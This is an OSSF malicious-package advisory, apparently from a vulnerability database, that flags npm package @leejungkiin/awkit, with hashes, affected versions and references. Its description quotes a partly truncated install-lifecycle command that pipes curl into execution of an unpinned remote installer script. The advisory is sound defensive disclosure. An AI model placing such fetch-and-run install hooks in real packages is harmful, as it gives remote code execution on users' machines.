MAL-2026-13427
Vulnerability from ossf_malicious_packages
-= Per source details. Do not edit below this line.=-
Source: amazon-inspector (0aa6db17591fc0a27924ca615763ffd2a3eb92d0f517de9719ce74ef47ac4add)
The package ships scripts/dependency-manager.js which, when run as part of the install lifecycle, invokes execSync('curl -fsSL https://raw.githubusercontent.com/rtk-ai/rtk/refs/heads/master/install.sh...') to fetch and execute an installer script from the rtk-ai/rtk repository on a mutable master branch. The fetched shell script is not pinned to a commit or hash and is controlled by a third-party GitHub account whose relationship to the @leejungkiin scope is not established. The same script also contacts https://www.rtk-ai.app and reads platform/home-directory information (os.homedir(), process.platform) during its operation. Because npm executes lifecycle scripts on install, this results in remote code execution from an unpinned, third-party-controlled source on the installer's machine, and the fetched code has full shell privileges to modify the environment, install further binaries, or exfiltrate host data. Additional bundled code (bin/awk.js, scripts/model-manager.js) combines child_process usage with hardcoded HTTP POST/fetch endpoints in a minified bundle.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
- CWE-506 - The product contains code that appears to be malicious in nature.
{
"affected": [
{
"database_specific": {
"cwes": [
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
},
{
"cweId": "CWE-506",
"description": "The product contains code that appears to be malicious in nature.",
"name": "Embedded Malicious Code"
}
],
"indicators": {
"evidence_files": [
{
"path": "bin/awk.js",
"sha256": "791a73db5c7743fc3e3b1db4d6ee98f52f00ebd3f5cd72beabce58eec5a0bab6",
"tlsh": "5694a56a05fb11257a77e16d9b8f00226529f1873608dd247aacf3447fce168c6b27f8"
},
{
"path": "docs/research/reverse-skills-study/credittone-android-re/android-reverse-engineering/skills/android-reverse-engineering/scripts/install-dep.sh",
"sha256": "af3058cb000b9b794e336c1de9d48c395969f41d801f631d3e0fce450460ff16",
"tlsh": "e852875b61b191b13e2843e56e8751a15391103f0cac7851b5ff7b08bb27b6ca1b372b"
},
{
"path": "scripts/dependency-manager.js",
"sha256": "9c4e6dde57fad3106fee93fee440f1ed7fff6079c66389ce328d74e60d14b1ad",
"tlsh": "dae174ef06eb523459736669c70f8136661bd2031b4cdeb8b9df02056f4262882f7bd9"
},
{
"path": "scripts/model-manager.js",
"sha256": "a006eb22aaa303eff9bdf6613e45a1cdeec4e9ed2f718428af8dc34ab50ecfbc",
"tlsh": "ede2854916f726264cb765a9db4f4025b419d4c33609ce647face3403f8a168dab2bec"
},
{
"path": "symphony/multica-ref/apps/desktop/src/main/daemon-manager.ts",
"sha256": "dde58b4776642d9b5287a8600dc4067ac1492123fce7524e715e57b1b9ffdadf",
"tlsh": "d6d2f90731bd22764eb33569a25f6062271482133719d9e4f6dd97042f8b06ed1f2fea"
},
{
"path": "symphony/multica-ref/scripts/ensure-postgres.sh",
"sha256": "35e11202d0d213d9109f5302c7a2e9fe28c14987dc9669c1fa9b520f36936635",
"tlsh": "f9514100f584ca700d9cd2d23842945ae569008f99492e2db3efbac43bbc755f43e61a"
}
],
"package_integrity": [
{
"filename": "awkit-3.6.1.tgz",
"hashes": {
"sha1": "1e70a6533c9e5613ee7bce2489f708017a0f92b2",
"sha512_sri": "sha512-Ark/pQF6uwIYSS+4TdNW8J5V42AFA1YWGouWsUupcp7Gby1l6alTtNToEgLToK48fb4Uownh7OfAs7zXgdCdJA=="
}
}
]
}
},
"package": {
"ecosystem": "npm",
"name": "@leejungkiin/awkit"
},
"versions": [
"3.6.1",
"3.3.9",
"3.5.10",
"3.4.4",
"3.6.2",
"3.3.3",
"3.5.5",
"3.5.0",
"3.5.7",
"3.4.7",
"3.4.6",
"3.5.6",
"3.4.1",
"3.4.2",
"3.5.9",
"3.3.8",
"3.3.1",
"3.3.4",
"3.3.2",
"3.4.3",
"3.3.5",
"3.4.5",
"3.6.0",
"3.4.8",
"3.5.8",
"3.4.0"
]
}
],
"credits": [
{
"contact": [
"inspector-research@amazon.com"
],
"name": "Amazon Inspector",
"type": "FINDER"
}
],
"database_specific": {
"malicious-packages-origins": [
{
"id": "IN-MAL-2026-016622",
"import_time": "2026-08-06T15:19:33.615576359Z",
"modified_time": "2026-08-06T14:23:01Z",
"sha256": "0a1a925a4b666d348aed293111236b77719aa29e1d5d130a17cf6d73ceda734e",
"source": "amazon-inspector",
"versions": [
"3.6.1"
]
},
{
"id": "IN-MAL-2026-016639",
"import_time": "2026-08-06T15:19:34.50635312Z",
"modified_time": "2026-08-06T14:25:30Z",
"sha256": "42faaa7f4f9cb95f0d65f6f40859cf76c2e8a1e154fdce9293b60599f26e038e",
"source": "amazon-inspector",
"versions": [
"3.3.9"
]
},
{
"id": "IN-MAL-2026-016630",
"import_time": "2026-08-06T15:19:33.987738609Z",
"modified_time": "2026-08-06T14:24:08Z",
"sha256": "d4a5d67590bc44ac283475db8af4539baac581fb913d0d28bfa3aeeb7f3168ea",
"source": "amazon-inspector",
"versions": [
"3.5.10"
]
},
{
"id": "IN-MAL-2026-016633",
"import_time": "2026-08-06T15:19:34.178542556Z",
"modified_time": "2026-08-06T14:24:34Z",
"sha256": "0aa6db17591fc0a27924ca615763ffd2a3eb92d0f517de9719ce74ef47ac4add",
"source": "amazon-inspector",
"versions": [
"3.4.4"
]
},
{
"id": "IN-MAL-2026-016621",
"import_time": "2026-08-06T15:19:33.574307197Z",
"modified_time": "2026-08-06T14:22:52Z",
"sha256": "3e499c5c0eabd3d65b9dda518fbb66f4c21b84df9197103ad4fcdc4f227354af",
"source": "amazon-inspector",
"versions": [
"3.6.2"
]
},
{
"id": "IN-MAL-2026-016645",
"import_time": "2026-08-06T15:19:34.917798465Z",
"modified_time": "2026-08-06T14:26:26Z",
"sha256": "a577737407f35d7b4fbf0431aff54120225be0f9c15e9663f0630024b5b51946",
"source": "amazon-inspector",
"versions": [
"3.3.3"
]
},
{
"id": "IN-MAL-2026-016626",
"import_time": "2026-08-06T15:19:33.771727964Z",
"modified_time": "2026-08-06T14:23:36Z",
"sha256": "d373c1a3b3d4e7d84a6e7dc2133890b6675426abc73486e61ebf833169f4e43b",
"source": "amazon-inspector",
"versions": [
"3.5.5"
]
},
{
"id": "IN-MAL-2026-016629",
"import_time": "2026-08-06T15:19:33.945676361Z",
"modified_time": "2026-08-06T14:23:59Z",
"sha256": "f83f447a2daea941d56335e320da7042b6317d576a94bd3fdc1ed864330fd813",
"source": "amazon-inspector",
"versions": [
"3.5.0"
]
},
{
"id": "IN-MAL-2026-016625",
"import_time": "2026-08-06T15:19:33.725778066Z",
"modified_time": "2026-08-06T14:23:26Z",
"sha256": "1065add408e0c6b547f781d3eabea2bbc4dd24b4576bd484b8e3c16d884720ac",
"source": "amazon-inspector",
"versions": [
"3.5.7"
]
},
{
"id": "IN-MAL-2026-016632",
"import_time": "2026-08-06T15:19:34.133511993Z",
"modified_time": "2026-08-06T14:24:27Z",
"sha256": "11d2a8af770eb13adf7579dc2c3c509f41455bc3324b1f7dac68c25c4e87ba4f",
"source": "amazon-inspector",
"versions": [
"3.4.7"
]
},
{
"id": "IN-MAL-2026-016635",
"import_time": "2026-08-06T15:19:34.273795423Z",
"modified_time": "2026-08-06T14:24:51Z",
"sha256": "2fa77026374f0027fc9c2f41c9f6bbafeb51a0570d7a4a2e92b7607c13c75271",
"source": "amazon-inspector",
"versions": [
"3.4.6"
]
},
{
"id": "IN-MAL-2026-016627",
"import_time": "2026-08-06T15:19:33.82290202Z",
"modified_time": "2026-08-06T14:23:42Z",
"sha256": "329106cb85649866ee343f65c84c1a9d28c00566adbc1052bfcf960e8319a974",
"source": "amazon-inspector",
"versions": [
"3.5.6"
]
},
{
"id": "IN-MAL-2026-016637",
"import_time": "2026-08-06T15:19:34.38863958Z",
"modified_time": "2026-08-06T14:25:14Z",
"sha256": "5e4a132a5cc06766fa18facfd5508d390efcf6edf4b65dcd5b8dc8cef36c738e",
"source": "amazon-inspector",
"versions": [
"3.4.1"
]
},
{
"id": "IN-MAL-2026-016640",
"import_time": "2026-08-06T15:19:34.550265795Z",
"modified_time": "2026-08-06T14:25:38Z",
"sha256": "7f30a0974e6cecbaec4965af63bf40a1b0421ec8b98a84d2496be7c0c5593760",
"source": "amazon-inspector",
"versions": [
"3.4.2"
]
},
{
"id": "IN-MAL-2026-016623",
"import_time": "2026-08-06T15:19:33.649788607Z",
"modified_time": "2026-08-06T14:23:10Z",
"sha256": "bf076f6ea09cee0d5ecad5e8891824de19f4e8a7225aca2c93d2037fe493862d",
"source": "amazon-inspector",
"versions": [
"3.5.9"
]
},
{
"id": "IN-MAL-2026-016641",
"import_time": "2026-08-06T15:19:34.629049611Z",
"modified_time": "2026-08-06T14:25:46Z",
"sha256": "c60d57329c21d332faeba9050acdd8525edf4f1fe63f89ace8fa1dcc70aad93c",
"source": "amazon-inspector",
"versions": [
"3.3.8"
]
},
{
"id": "IN-MAL-2026-016646",
"import_time": "2026-08-06T15:19:34.982898408Z",
"modified_time": "2026-08-06T14:26:35Z",
"sha256": "25a2ff97af8a46fa8229c044e827e21acf3b083a4693b8841c64f7ca997d9ab0",
"source": "amazon-inspector",
"versions": [
"3.3.1"
]
},
{
"id": "IN-MAL-2026-016643",
"import_time": "2026-08-06T15:19:34.782506727Z",
"modified_time": "2026-08-06T14:26:09Z",
"sha256": "397f7af10dc34a1ee6275ceab224d4d7a6b2c25b682818afbd3d64765e549386",
"source": "amazon-inspector",
"versions": [
"3.3.4"
]
},
{
"id": "IN-MAL-2026-016644",
"import_time": "2026-08-06T15:19:34.837640494Z",
"modified_time": "2026-08-06T14:26:18Z",
"sha256": "4f69382e3c75aa4bc66ce9efadd3661e5af7cfde7f761717a26b8e74d8486e60",
"source": "amazon-inspector",
"versions": [
"3.3.2"
]
},
{
"id": "IN-MAL-2026-016636",
"import_time": "2026-08-06T15:19:34.326291401Z",
"modified_time": "2026-08-06T14:25:03Z",
"sha256": "6d9d978dc352805ffde329c488834a32666b90c0c6309ee2c511ef11a88aa947",
"source": "amazon-inspector",
"versions": [
"3.4.3"
]
},
{
"id": "IN-MAL-2026-016642",
"import_time": "2026-08-06T15:19:34.671953018Z",
"modified_time": "2026-08-06T14:25:54Z",
"sha256": "70f62693f5cf05acfaac84926f4fdcfed7e9148eaba2498ead0aa706525b004b",
"source": "amazon-inspector",
"versions": [
"3.3.5"
]
},
{
"id": "IN-MAL-2026-016634",
"import_time": "2026-08-06T15:19:34.221955359Z",
"modified_time": "2026-08-06T14:24:43Z",
"sha256": "ca64abd89bb7bc014c7fbfdc98d5bafaa0addc058539c385c1dad6aafa30ca4f",
"source": "amazon-inspector",
"versions": [
"3.4.5"
]
},
{
"id": "IN-MAL-2026-016628",
"import_time": "2026-08-06T15:19:33.871393229Z",
"modified_time": "2026-08-06T14:23:51Z",
"sha256": "d6aa7c559a7ed6d9555d51f4e632cd0cd0d7871e8562c00c3b766a8e00136f22",
"source": "amazon-inspector",
"versions": [
"3.6.0"
]
},
{
"id": "IN-MAL-2026-016631",
"import_time": "2026-08-06T15:19:34.076246887Z",
"modified_time": "2026-08-06T14:24:19Z",
"sha256": "6635437701cd2765e1d97623636c4906b144d75442904b5afd1e6983a52d9a18",
"source": "amazon-inspector",
"versions": [
"3.4.8"
]
},
{
"id": "IN-MAL-2026-016624",
"import_time": "2026-08-06T15:19:33.684465079Z",
"modified_time": "2026-08-06T14:23:18Z",
"sha256": "30c74792557ba4501f04cbd010be3d25002c8ca55234c57bd75f7f93f7ed5618",
"source": "amazon-inspector",
"versions": [
"3.5.8"
]
},
{
"id": "IN-MAL-2026-016638",
"import_time": "2026-08-06T15:19:34.447716435Z",
"modified_time": "2026-08-06T14:25:23Z",
"sha256": "3a2caadd8c859f96014136ec3c01d7b6b8016ff218f157651f5f40f2a3e5227c",
"source": "amazon-inspector",
"versions": [
"3.4.0"
]
}
]
},
"details": "\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (0aa6db17591fc0a27924ca615763ffd2a3eb92d0f517de9719ce74ef47ac4add)\nThe package ships scripts/dependency-manager.js which, when run as part of the install lifecycle, invokes execSync(\u0027curl -fsSL https://raw.githubusercontent.com/rtk-ai/rtk/refs/heads/master/install.sh...\u0027) to fetch and execute an installer script from the rtk-ai/rtk repository on a mutable master branch. The fetched shell script is not pinned to a commit or hash and is controlled by a third-party GitHub account whose relationship to the @leejungkiin scope is not established. The same script also contacts https://www.rtk-ai.app and reads platform/home-directory information (os.homedir(), process.platform) during its operation. Because npm executes lifecycle scripts on install, this results in remote code execution from an unpinned, third-party-controlled source on the installer\u0027s machine, and the fetched code has full shell privileges to modify the environment, install further binaries, or exfiltrate host data. Additional bundled code (bin/awk.js, scripts/model-manager.js) combines child_process usage with hardcoded HTTP POST/fetch endpoints in a minified bundle.\n",
"id": "MAL-2026-13427",
"modified": "2026-08-06T15:21:39Z",
"published": "2026-08-06T14:22:52Z",
"references": [
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.6.1"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.3.9"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.5.10"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.4.4"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.6.2"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.3.3"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.5.5"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.5.0"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.5.7"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.4.7"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.4.6"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.5.6"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.4.1"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.4.2"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.5.9"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.3.8"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.3.1"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.3.4"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.3.2"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.4.3"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.3.5"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.4.5"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.6.0"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.4.8"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.5.8"
},
{
"type": "PACKAGE",
"url": "https://www.npmjs.com/package/@leejungkiin/awkit/v/3.4.0"
}
],
"schema_version": "1.7.4",
"summary": "Malicious code in @leejungkiin/awkit (npm)"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.